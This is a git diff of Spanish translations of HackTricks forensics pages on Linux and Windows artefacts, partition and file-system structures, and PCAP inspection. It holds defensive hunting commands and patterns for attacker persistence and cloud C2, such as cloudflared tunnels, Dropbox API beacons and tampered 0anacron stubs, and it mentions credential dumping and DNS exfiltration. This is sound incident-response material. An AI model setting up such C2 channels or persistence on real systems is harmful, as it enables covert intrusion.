_**`/var/log/dpkg.log`**_ para obtener detalles sobre las instalaciones de paquetes, usando `grep` para filtrar información específica. - Los usuarios de RedHat pueden consultar la base de datos RPM con `rpm -qa --root=/mntpath/var/lib/rpm` para listar los paquetes instalados. Para descubrir software instalado manualmente o fuera de estos gestores de paquetes, explora directorios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ y _**`/sbin`**_. Combina listados de directorios con comandos específicos del sistema para identificar ejecutables no asociados con paquetes conocidos, mejorando tu búsqueda de todos los programas instalados. @@ -196,7 +196,7 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` -#### Caza: abuso de Cron/Anacron a través de 0anacron y stubs sospechosos +#### Hunt: Abuso de Cron/Anacron a través de 0anacron y stubs sospechosos Los atacantes a menudo editan el stub 0anacron presente en cada directorio /etc/cron.*/ para asegurar la ejecución periódica. ```bash # List 0anacron files and their timestamps/sizes @@ -214,9 +214,9 @@ grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config # System accounts with interactive shells (e.g., games → /bin/sh) awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd ``` -#### Hunt: Marcadores de C2 en la nube (Dropbox/Cloudflare Tunnel) +#### Caza: Marcadores de C2 en la nube (Dropbox/Cloudflare Tunnel) - Las balizas de la API de Dropbox típicamente utilizan api.dropboxapi.com o content.dropboxapi.com a través de HTTPS con tokens de autorización: Bearer. -- Busca en proxy/Zeek/NetFlow por egresos inesperados de Dropbox desde servidores. +- Caza en proxy/Zeek/NetFlow para egress inesperado de Dropbox desde servidores. - Cloudflare Tunnel (`cloudflared`) proporciona C2 de respaldo a través de 443 saliente. ```bash ps aux | grep -E '[c]loudflared|trycloudflare' @@ -246,7 +246,7 @@ Los módulos del kernel de Linux, a menudo utilizados por malware como component ### Otras Ubicaciones de Autoinicio -Linux emplea varios archivos para ejecutar automáticamente programas al iniciar sesión el usuario, potencialmente albergando malware: +Linux emplea varios archivos para ejecutar automáticamente programas al iniciar sesión del usuario, potencialmente albergando malware: - **/etc/profile.d/**\*, **/etc/profile**, y **/etc/bash.bashrc**: Se ejecutan para cualquier inicio de sesión de usuario. - **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, y **\~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión. @@ -267,7 +267,7 @@ Los sistemas Linux rastrean las actividades de los usuarios y los eventos del si - **/var/log/cron**: Registra ejecuciones de trabajos cron. - **/var/log/daemon.log**: Rastrear actividades de servicios en segundo plano. - **/var/log/btmp**: Documenta intentos de inicio de sesión fallidos. -- **/var/log/httpd/**: Contiene registros de errores y accesos de Apache HTTPD. +- **/var/log/httpd/**: Contiene registros de errores y acceso de Apache HTTPD. - **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra actividades de la base de datos MySQL. - **/var/log/xferlog**: Registra transferencias de archivos FTP. - **/var/log/**: Siempre verifica si hay registros inesperados aquí. @@ -298,9 +298,9 @@ Algunas aplicaciones también generan sus propios registros: - **Gnome Desktop**: Revisa _\~/.recently-used.xbel_ para archivos accedidos recientemente a través de aplicaciones de Gnome. - **Firefox/Chrome**: Verifica el historial del navegador y las descargas en _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ para actividades sospechosas. - **VIM**: Revisa _\~/.viminfo_ para detalles de uso, como rutas de archivos accedidos e historial de búsqueda. -- **Open Office**: Verifica el acceso a documentos recientes que puedan indicar archivos comprometidos. -- **FTP/SFTP**: Revisa registros en _\~/.ftp_history_ o _\~/.sftp_history_ para transferencias de archivos que podrían no estar autorizadas. -- **MySQL**: Investiga _\~/.mysql_history_ para consultas de MySQL ejecutadas, que podrían revelar actividades no autorizadas en la base de datos. +- **Open Office**: Verifica el acceso reciente a documentos que pueden indicar archivos comprometidos. +- **FTP/SFTP**: Revisa registros en _\~/.ftp_history_ o _\~/.sftp_history_ para transferencias de archivos que podrían ser no autorizadas. +- **MySQL**: Investiga _\~/.mysql_history_ para consultas MySQL ejecutadas, que podrían revelar actividades no autorizadas en la base de datos. - **Less**: Analiza _\~/.lesshst_ para el historial de uso, incluidos archivos vistos y comandos ejecutados. - **Git**: Examina _\~/.gitconfig_ y el proyecto _.git/logs_ para cambios en los repositorios. @@ -333,7 +333,7 @@ Finalmente, busque cuentas con **sin contraseñas** o **contraseñas fácilmente ## Examinar el Sistema de Archivos -### Análisis de Estructuras del Sistema de Archivos en la Investigación de Malware +### Analizando Estructuras del Sistema de Archivos en la Investigación de Malware Al investigar incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para obstaculizar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos. diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 151233c89..0e0764c3c 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,4 +1,4 @@ -# Particiones/Sistemas de Archivos/Carving +# Partitions/File Systems/Carving {{#include ../../../banners/hacktricks-training.md}} @@ -17,7 +17,7 @@ MBR permite **máx 2.2TB**. ![](<../../../images/image (304).png>) -Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma de Disco de Windows** (si se utiliza Windows). La letra de unidad lógica del disco duro depende de la Firma de Disco de Windows. Cambiar esta firma podría impedir que Windows arranque (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma del Disco de Windows** (si se utiliza Windows). La letra de unidad lógica del disco duro depende de la Firma del Disco de Windows. Cambiar esta firma podría impedir que Windows arranque (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. ![](<../../../images/image (310).png>) @@ -26,10 +26,10 @@ Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma de Disco de Wi | Offset | Longitud | Elemento | | ----------- | ---------- | ------------------- | | 0 (0x00) | 446(0x1BE) | Código de arranque | -| 446 (0x1BE) | 16 (0x10) | Primera Partición | -| 462 (0x1CE) | 16 (0x10) | Segunda Partición | -| 478 (0x1DE) | 16 (0x10) | Tercera Partición | -| 494 (0x1EE) | 16 (0x10) | Cuarta Partición | +| 446 (0x1BE) | 16 (0x10) | Primera partición | +| 462 (0x1CE) | 16 (0x10) | Segunda partición | +| 478 (0x1DE) | 16 (0x10) | Tercera partición | +| 494 (0x1EE) | 16 (0x10) | Cuarta partición | | 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA | **Formato del Registro de Partición** @@ -39,7 +39,7 @@ Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma de Disco de Wi | 0 (0x00) | 1 (0x01) | Bandera activa (0x80 = arrancable) | | 1 (0x01) | 1 (0x01) | Cabeza de inicio | | 2 (0x02) | 1 (0x01) | Sector de inicio (bits 0-5); bits superiores del cilindro (6-7) | -| 3 (0x03) | 1 (0x01) | Cilindro de inicio, 8 bits más bajos | +| 3 (0x03) | 1 (0x01) | Cilindro de inicio, 8 bits más bajos | | 4 (0x04) | 1 (0x01) | Código de tipo de partición (0x83 = Linux) | | 5 (0x05) | 1 (0x01) | Cabeza final | | 6 (0x06) | 1 (0x01) | Sector final (bits 0-5); bits superiores del cilindro (6-7) | @@ -49,7 +49,7 @@ Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma de Disco de Wi Para montar un MBR en Linux, primero necesitas obtener el desplazamiento de inicio (puedes usar `fdisk` y el comando `p`) -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) Y luego usa el siguiente código ```bash @@ -68,7 +68,7 @@ La Tabla de Particiones GUID, conocida como GPT, es preferida por sus capacidade - **Ubicación y tamaño**: Tanto GPT como MBR comienzan en **sector 0**. Sin embargo, GPT opera en **64 bits**, en contraste con los 32 bits de MBR. - **Límites de partición**: GPT admite hasta **128 particiones** en sistemas Windows y acomoda hasta **9.4ZB** de datos. -- **Nombres de partición**: Ofrece la capacidad de nombrar particiones con hasta 36 caracteres Unicode. +- **Nombres de particiones**: Ofrece la capacidad de nombrar particiones con hasta 36 caracteres Unicode. **Resiliencia y recuperación de datos**: @@ -77,7 +77,7 @@ La Tabla de Particiones GUID, conocida como GPT, es preferida por sus capacidade **MBR protector (LBA0)**: -- GPT mantiene la compatibilidad hacia atrás a través de un MBR protector. Esta característica reside en el espacio MBR legado pero está diseñada para evitar que utilidades basadas en MBR más antiguas sobrescriban accidentalmente discos GPT, protegiendo así la integridad de los datos en discos formateados con GPT. +- GPT mantiene la compatibilidad hacia atrás a través de un MBR protector. Esta característica reside en el espacio MBR legado pero está diseñada para evitar que utilidades más antiguas basadas en MBR sobrescriban erróneamente discos GPT, protegiendo así la integridad de los datos en discos formateados con GPT. ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>) @@ -95,17 +95,17 @@ El encabezado de la tabla de particiones define los bloques utilizables en el di | Desplazamiento | Longitud | Contenido | | -------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)en máquinas little-endian) | +| 0 (0x00) | 8 bytes | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)en máquinas little-endian) | | 8 (0x08) | 4 bytes | Revisión 1.0 (00h 00h 01h 00h) para UEFI 2.8 | | 12 (0x0C) | 4 bytes | Tamaño del encabezado en little endian (en bytes, generalmente 5Ch 00h 00h 00h o 92 bytes) | | 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) del encabezado (desplazamiento +0 hasta el tamaño del encabezado) en little endian, con este campo en cero durante el cálculo | | 20 (0x14) | 4 bytes | Reservado; debe ser cero | | 24 (0x18) | 8 bytes | LBA actual (ubicación de esta copia del encabezado) | | 32 (0x20) | 8 bytes | LBA de respaldo (ubicación de la otra copia del encabezado) | -| 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (LBA del último de la tabla de particiones primaria + 1) | +| 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (último LBA de la tabla de particiones primaria + 1) | | 48 (0x30) | 8 bytes | Último LBA utilizable (primer LBA de la tabla de particiones secundaria − 1) | | 56 (0x38) | 16 bytes | GUID del disco en endian mixto | -| 72 (0x48) | 8 bytes | LBA inicial de un array de entradas de partición (siempre 2 en la copia primaria) | +| 72 (0x48) | 8 bytes | LBA de inicio de un array de entradas de partición (siempre 2 en la copia primaria) | | 80 (0x50) | 4 bytes | Número de entradas de partición en el array | | 84 (0x54) | 4 bytes | Tamaño de una única entrada de partición (generalmente 80h o 128) | | 88 (0x58) | 4 bytes | CRC32 del array de entradas de partición en little endian | @@ -116,8 +116,8 @@ El encabezado de la tabla de particiones define los bloques utilizables en el di | Formato de entrada de partición GUID | | | | ------------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | | Desplazamiento | Longitud | Contenido | -| 0 (0x00) | 16 bytes | [Tipo de partición GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian mixto) | -| 16 (0x10) | 16 bytes | GUID de partición único (endian mixto) | +| 0 (0x00) | 16 bytes | [GUID de tipo de partición](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian mixto) | +| 16 (0x10) | 16 bytes | GUID único de partición (endian mixto) | | 32 (0x20) | 8 bytes | Primer LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | | 40 (0x28) | 8 bytes | Último LBA (inclusive, generalmente impar) | | 48 (0x30) | 8 bytes | Banderas de atributos (por ejemplo, el bit 60 denota solo lectura) | @@ -154,8 +154,8 @@ El sistema de archivos **FAT (Tabla de asignación de archivos)** está diseñad La unidad básica de almacenamiento del sistema de archivos es un **cluster, generalmente de 512B**, que comprende múltiples sectores. FAT ha evolucionado a través de versiones: - **FAT12**, que admite direcciones de cluster de 12 bits y maneja hasta 4078 clusters (4084 con UNIX). -- **FAT16**, mejorando a direcciones de 16 bits, permitiendo así hasta 65,517 clusters. -- **FAT32**, avanzando aún más con direcciones de 32 bits, permitiendo un impresionante 268,435,456 clusters por volumen. +- **FAT16**, que mejora a direcciones de 16 bits, permitiendo así hasta 65,517 clusters. +- **FAT32**, que avanza aún más con direcciones de 32 bits, permitiendo un impresionante 268,435,456 clusters por volumen. Una limitación significativa en todas las versiones de FAT es el **tamaño máximo de archivo de 4GB**, impuesto por el campo de 32 bits utilizado para el almacenamiento del tamaño del archivo. @@ -164,12 +164,12 @@ Los componentes clave del directorio raíz, particularmente para FAT12 y FAT16, - **Nombre de archivo/carpeta** (hasta 8 caracteres) - **Atributos** - **Fechas de creación, modificación y último acceso** -- **Dirección de la tabla FAT** (indicando el cluster inicial del archivo) +- **Dirección de la tabla FAT** (que indica el cluster de inicio del archivo) - **Tamaño del archivo** ### EXT -**Ext2** es el sistema de archivos más común para **particiones que no registran** (**particiones que no cambian mucho**) como la partición de arranque. **Ext3/4** son **registradores** y se utilizan generalmente para el **resto de las particiones**. +**Ext2** es el sistema de archivos más común para **particiones que no utilizan journaling** (**particiones que no cambian mucho**) como la partición de arranque. **Ext3/4** son **journaling** y se utilizan generalmente para el **resto de las particiones**. ## **Metadatos** @@ -197,13 +197,13 @@ Además, el sistema operativo generalmente guarda mucha información sobre los c file-data-carving-recovery-tools.md {{#endref}} -### **Carving de archivos** +### **File Carving** -**El carving de archivos** es una técnica que intenta **encontrar archivos en la gran cantidad de datos**. Hay 3 formas principales en que herramientas como esta funcionan: **Basado en encabezados y pies de tipos de archivos**, basado en **estructuras** de tipos de archivos y basado en el **contenido** mismo. +**File carving** es una técnica que intenta **encontrar archivos en la gran cantidad de datos**. Hay 3 formas principales en que herramientas como esta funcionan: **Basado en encabezados y pies de archivos**, basado en **estructuras** de tipos de archivos y basado en el **contenido** mismo. Ten en cuenta que esta técnica **no funciona para recuperar archivos fragmentados**. Si un archivo **no está almacenado en sectores contiguos**, entonces esta técnica no podrá encontrarlo o al menos parte de él. -Hay varias herramientas que puedes usar para el carving de archivos indicando los tipos de archivos que deseas buscar. +Hay varias herramientas que puedes usar para el file carving indicando los tipos de archivos que deseas buscar. {{#ref}} file-data-carving-recovery-tools.md @@ -211,7 +211,7 @@ file-data-carving-recovery-tools.md ### Carving de flujo de datos -El carving de flujo de datos es similar al carving de archivos, pero **en lugar de buscar archivos completos, busca fragmentos interesantes** de información.\ +El carving de flujo de datos es similar al file carving, pero **en lugar de buscar archivos completos, busca fragmentos interesantes** de información.\ Por ejemplo, en lugar de buscar un archivo completo que contenga URLs registradas, esta técnica buscará URLs. {{#ref}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md index 578ef94a6..e43cb80db 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -> [!NOTE] +> [!TIP] > Una nota sobre **PCAP** vs **PCAPNG**: hay dos versiones del formato de archivo PCAP; **PCAPNG es más nuevo y no es compatible con todas las herramientas**. Es posible que necesite convertir un archivo de PCAPNG a PCAP usando Wireshark u otra herramienta compatible, para poder trabajar con él en algunas otras herramientas. ## Herramientas en línea para pcaps @@ -18,7 +18,7 @@ Las siguientes herramientas son útiles para extraer estadísticas, archivos, et ### Wireshark -> [!NOTE] +> [!TIP] > **Si va a analizar un PCAP, básicamente debe saber cómo usar Wireshark** Puede encontrar algunos trucos de Wireshark en: @@ -84,6 +84,7 @@ ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192. Usar técnicas de carving comunes puede ser útil para extraer archivos e información del pcap: + {{#ref}} ../partitions-file-systems-carving/file-data-carving-recovery-tools.md {{#endref}} @@ -200,14 +201,17 @@ rita show-exploded-dns -H --limit 10 zeek_logs ``` ## Otras trucos de análisis de pcap + {{#ref}} dnscat-exfiltration.md {{#endref}} + {{#ref}} wifi-pcap-analysis.md {{#endref}} + {{#ref}} usb-keystrokes.md {{#endref}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 741d4b18e..448a55900 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,39 +1,50 @@ +# Trucos Específicos de Software/Tipo de Archivo + {{#include ../../../banners/hacktricks-training.md}} Aquí puedes encontrar trucos interesantes para tipos de archivos y/o software específicos: + {{#ref}} .pyc.md {{#endref}} + {{#ref}} browser-artifacts.md {{#endref}} + {{#ref}} desofuscation-vbs-cscript.exe.md {{#endref}} + {{#ref}} local-cloud-storage.md {{#endref}} + {{#ref}} office-file-analysis.md {{#endref}} + {{#ref}} pdf-file-analysis.md {{#endref}} + {{#ref}} png-tricks.md {{#endref}} + {{#ref}} video-and-audio-file-analysis.md {{#endref}} + {{#ref}} zips-tricks.md {{#endref}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index c7191fe2f..100699f72 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -1,32 +1,30 @@ -# Artefactos de Windows - -## Artefactos de Windows +# Windows Artifacts {{#include ../../../banners/hacktricks-training.md}} -## Artefactos Genéricos de Windows +## Generic Windows Artifacts -### Notificaciones de Windows 10 +### Windows 10 Notifications -En la ruta `\Users\\AppData\Local\Microsoft\Windows\Notifications` puedes encontrar la base de datos `appdb.dat` (antes del aniversario de Windows) o `wpndatabase.db` (después del aniversario de Windows). +En la ruta `\Users\\AppData\Local\Microsoft\Windows\Notifications` puedes encontrar la base de datos `appdb.dat` (antes de la actualización de aniversario de Windows) o `wpndatabase.db` (después de la actualización de aniversario de Windows). Dentro de esta base de datos SQLite, puedes encontrar la tabla `Notification` con todas las notificaciones (en formato XML) que pueden contener datos interesantes. -### Línea de Tiempo +### Timeline -La línea de tiempo es una característica de Windows que proporciona **historial cronológico** de páginas web visitadas, documentos editados y aplicaciones ejecutadas. +Timeline es una característica de Windows que proporciona **historial cronológico** de páginas web visitadas, documentos editados y aplicaciones ejecutadas. -La base de datos reside en la ruta `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Esta base de datos se puede abrir con una herramienta SQLite o con la herramienta [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **que genera 2 archivos que se pueden abrir con la herramienta** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +La base de datos se encuentra en la ruta `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Esta base de datos se puede abrir con una herramienta SQLite o con la herramienta [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **que genera 2 archivos que se pueden abrir con la herramienta** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). -### ADS (Flujos de Datos Alternativos) +### ADS (Alternate Data Streams) Los archivos descargados pueden contener el **ADS Zone.Identifier** que indica **cómo** fue **descargado** desde la intranet, internet, etc. Algunos programas (como navegadores) suelen poner incluso **más** **información** como la **URL** desde donde se descargó el archivo. -## **Copias de Seguridad de Archivos** +## **File Backups** -### Papelera de Reciclaje +### Recycle Bin -En Vista/Win7/Win8/Win10 la **Papelera de Reciclaje** se puede encontrar en la carpeta **`$Recycle.bin`** en la raíz de la unidad (`C:\$Recycle.bin`).\ +En Vista/Win7/Win8/Win10 la **Recycle Bin** se puede encontrar en la carpeta **`$Recycle.bin`** en la raíz de la unidad (`C:\$Recycle.bin`).\ Cuando se elimina un archivo en esta carpeta se crean 2 archivos específicos: - `$I{id}`: Información del archivo (fecha de cuando fue eliminado) @@ -58,9 +56,9 @@ La entrada del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Bac El registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` también contiene información de configuración sobre las `Copias de Sombra de Volumen`. -### Archivos de Office AutoGuardados +### Archivos AutoGuardados de Office -Puedes encontrar los archivos de auto guardado de Office en: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Puedes encontrar los archivos auto guardados de Office en: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` ## Elementos de Shell @@ -128,7 +126,7 @@ Es posible identificar que se utilizó un dispositivo USB gracias a la creación - Carpeta Reciente de Microsoft Office - Jumplists -Ten en cuenta que algunos archivos LNK en lugar de apuntar a la ruta original, apuntan a la carpeta WPDNSE: +Nota que algunos archivos LNK en lugar de apuntar a la ruta original, apuntan a la carpeta WPDNSE: ![](<../../../images/image (218).png>) @@ -142,7 +140,7 @@ Los archivos en la carpeta WPDNSE son una copia de los originales, por lo que no Consulta el archivo `C:\Windows\inf\setupapi.dev.log` para obtener las marcas de tiempo sobre cuándo se produjo la conexión USB (busca `Section start`). -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) +![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ### USB Detective @@ -161,7 +159,7 @@ Se proporciona una captura de pantalla que muestra el contenido de la tarea: ![] **Componentes Clave y Configuraciones de la Tarea:** - **pnpclean.dll**: Este DLL es responsable del proceso de limpieza real. -- **UseUnifiedSchedulingEngine**: Establecido en `TRUE`, indicando el uso del motor de programación de tareas genérico. +- **UseUnifiedSchedulingEngine**: Configurado en `TRUE`, indicando el uso del motor de programación de tareas genérico. - **MaintenanceSettings**: - **Period ('P1M')**: Indica al Programador de Tareas que inicie la tarea de limpieza mensualmente durante el mantenimiento automático regular. - **Deadline ('P2M')**: Instruye al Programador de Tareas, si la tarea falla durante dos meses consecutivos, a ejecutar la tarea durante el mantenimiento automático de emergencia. @@ -191,7 +189,7 @@ Los **metadatos** de los correos y los **contactos** se pueden encontrar dentro ### Microsoft Outlook -Cuando se utilizan servidores Exchange o clientes de Outlook, habrá algunos encabezados MAPI: +Cuando se utilizan servidores de Exchange o clientes de Outlook, habrá algunos encabezados MAPI: - `Mapi-Client-Submit-Time`: Hora del sistema cuando se envió el correo - `Mapi-Conversation-Index`: Número de mensajes hijos del hilo y marca de tiempo de cada mensaje del hilo @@ -232,7 +230,7 @@ Los adjuntos perdidos podrían ser recuperables de: ### Información del Registro de Windows -El Registro de Windows, que almacena una extensa cantidad de datos sobre la actividad del sistema y del usuario, se encuentra dentro de archivos en: +El Registro de Windows, que almacena una extensa cantidad de datos sobre el sistema y la actividad del usuario, se encuentra dentro de archivos en: - `%windir%\System32\Config` para varias subclaves de `HKEY_LOCAL_MACHINE`. - `%UserProfile%{User}\NTUSER.DAT` para `HKEY_CURRENT_USER`. @@ -264,6 +262,7 @@ En `SAM\Domains\Account\Users` puedes obtener el nombre de usuario, el RID, el ### Entradas Interesantes en el Registro de Windows + {{#ref}} interesting-windows-registry-keys.md {{#endref}} @@ -280,7 +279,7 @@ Dentro del registro `NTUSER.DAT` en la ruta `Software\Microsoft\Current Version\ ### BAM (Moderador de Actividad en Segundo Plano) -Puedes abrir el archivo `SYSTEM` con un editor de registro y dentro de la ruta `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puedes encontrar la información sobre las **aplicaciones ejecutadas por cada usuario** (nota el `{SID}` en la ruta) y a **qué hora** fueron ejecutadas (la hora está dentro del valor de datos del registro). +Puedes abrir el archivo `SYSTEM` con un editor de registro y dentro de la ruta `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puedes encontrar la información sobre las **aplicaciones ejecutadas por cada usuario** (nota el `{SID}` en la ruta) y a **qué hora** fueron ejecutadas (la hora está dentro del valor de Datos del registro). ### Prefetch de Windows @@ -337,7 +336,7 @@ El **AppCompatCache**, también conocido como **ShimCache**, forma parte de la * - Hora de última actualización del ShimCache - Bandera de ejecución del proceso -Estos datos se almacenan en el registro en ubicaciones específicas según la versión del sistema operativo: +Dicha información se almacena en el registro en ubicaciones específicas según la versión del sistema operativo: - Para XP, los datos se almacenan en `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` con una capacidad para 96 entradas. - Para Server 2003, así como para las versiones de Windows 2008, 2012, 2016, 7, 8 y 10, la ruta de almacenamiento es `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, acomodando 512 y 1024 entradas, respectivamente. @@ -388,7 +387,7 @@ Y **aplicaciones desinstaladas** en: `Software\Microsoft\Windows\CurrentVersion\ La información que aparece dentro de los eventos de Windows es: -- Qué sucedió +- Lo que sucedió - Marca de tiempo (UTC + 0) - Usuarios involucrados - Hosts involucrados (nombre de host, IP) @@ -411,26 +410,26 @@ Los eventos de acceso se registran en el archivo de configuración de seguridad - **EventIDs 4634/4647**: Representan eventos de cierre de sesión de usuarios. - **EventID 4672**: Denota inicio de sesión con privilegios administrativos. -#### Subtipos dentro de EventID 4634/4647: +#### Subtipos dentro del EventID 4634/4647: - **Interactivo (2)**: Inicio de sesión directo del usuario. - **Red (3)**: Acceso a carpetas compartidas. - **Lote (4)**: Ejecución de procesos por lotes. - **Servicio (5)**: Lanzamientos de servicios. - **Proxy (6)**: Autenticación proxy. -- **Desbloquear (7)**: Pantalla desbloqueada con una contraseña. +- **Desbloqueo (7)**: Pantalla desbloqueada con una contraseña. - **Texto claro de red (8)**: Transmisión de contraseña en texto claro, a menudo desde IIS. - **Nuevas credenciales (9)**: Uso de diferentes credenciales para el acceso. -- **Interactivo remoto (10)**: Inicio de sesión en escritorio remoto o servicios de terminal. +- **Interactivo remoto (10)**: Inicio de sesión en servicios de escritorio remoto o terminal. - **Interactivo en caché (11)**: Inicio de sesión con credenciales en caché sin contacto con el controlador de dominio. - **Interactivo remoto en caché (12)**: Inicio de sesión remoto con credenciales en caché. - **Desbloqueo en caché (13)**: Desbloqueo con credenciales en caché. -#### Códigos de estado y subestado para EventID 4625: +#### Códigos de estado y subestado para el EventID 4625: - **0xC0000064**: El nombre de usuario no existe - Podría indicar un ataque de enumeración de nombres de usuario. - **0xC000006A**: Nombre de usuario correcto pero contraseña incorrecta - Posible intento de adivinanza de contraseña o fuerza bruta. -- **0xC0000234**: Cuenta de usuario bloqueada - Puede seguir a un ataque de fuerza bruta que resulte en múltiples inicios de sesión fallidos. +- **0xC0000234**: Cuenta de usuario bloqueada - Puede seguir a un ataque de fuerza bruta que resulta en múltiples inicios de sesión fallidos. - **0xC0000072**: Cuenta deshabilitada - Intentos no autorizados de acceder a cuentas deshabilitadas. - **0xC000006F**: Inicio de sesión fuera del tiempo permitido - Indica intentos de acceso fuera de las horas de inicio de sesión establecidas, un posible signo de acceso no autorizado. - **0xC0000070**: Violación de restricciones de estación de trabajo - Podría ser un intento de inicio de sesión desde una ubicación no autorizada. @@ -447,7 +446,7 @@ Los eventos de acceso se registran en el archivo de configuración de seguridad #### EventID 6005 y 6006: -- **Inicio y apagado del sistema**: EventID 6005 indica que el sistema se está iniciando, mientras que EventID 6006 marca su apagado. +- **Inicio y apagado del sistema**: El EventID 6005 indica que el sistema se está iniciando, mientras que el EventID 6006 marca su apagado. #### EventID 1102: @@ -461,7 +460,7 @@ Los eventos de acceso se registran en el archivo de configuración de seguridad Para ejemplos prácticos sobre cómo simular estos tipos de inicio de sesión y oportunidades de volcado de credenciales, consulta la [guía detallada de Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). -Los detalles del evento, incluidos los códigos de estado y subestado, proporcionan más información sobre las causas del evento, particularmente notables en el Event ID 4625. +Los detalles de los eventos, incluidos los códigos de estado y subestado, proporcionan más información sobre las causas de los eventos, particularmente notables 